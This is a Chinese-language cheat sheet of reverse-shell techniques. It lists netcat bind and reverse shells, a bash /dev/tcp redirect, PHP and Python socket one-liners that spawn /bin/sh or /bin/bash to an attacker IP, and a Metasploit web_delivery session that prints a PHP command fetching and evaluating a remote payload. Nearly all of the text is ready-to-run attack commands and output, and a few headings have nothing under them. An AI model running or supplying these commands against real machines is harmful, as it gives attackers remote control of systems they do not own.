1、NC反弹shell

1.1、正向反弹shell

服务器

nc -lvvp 7777 -e /bin/bash

攻击机

nc  server-ip 7777

1.2、反向反弹shell

攻击机

nc -lvvp 7777

服务器

nc -e /bin/bash Client-ip 7777

1.3、不带-e反弹：

2、 bash反弹shell

2.1 bash -i

攻击机

nc -lvvp 7777

服务器

bash -i >& /dev/tcp/Client-IP/7777 0>&1

3、PHP反弹shell

3.1  php -r

php -r '$sock=fsockopen("192.168.118.128",4444);exec("/bin/sh -i &3 2>&3");'

进行url编码：

4、python反弹

4.1、python -c

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.118.128",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.118.128",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

5、metasploit

5.1、web_delivery

use exploit/multi/script/web_delivery

msf > use exploit/multi/script/web_delivery

msf exploit(web_delivery) > set target 1

target => 1

msf exploit(web_delivery) > set payload php/meterpreter/reverse_tcp

payload => php/meterpreter/reverse_tcp

msf exploit(web_delivery) > set lhost 192.168.118.128

lhost => 192.168.118.128

msf exploit(web_delivery) > set lport 6666

lport => 6666

msf exploit(web_delivery) > set SRVPORT 8888

SRVPORT => 8888

msf exploit(web_delivery) > run

[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.118.128:6666

[*] Using URL: http://0.0.0.0:8888/mDIK5UGRA8Qs76

[*] Local IP: http://192.168.118.128:8888/mDIK5UGRA8Qs76

[*] Server started.

[*] Run the following command on the target machine:

php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.118.128:8888/mDIK5UGRA8Qs76'));"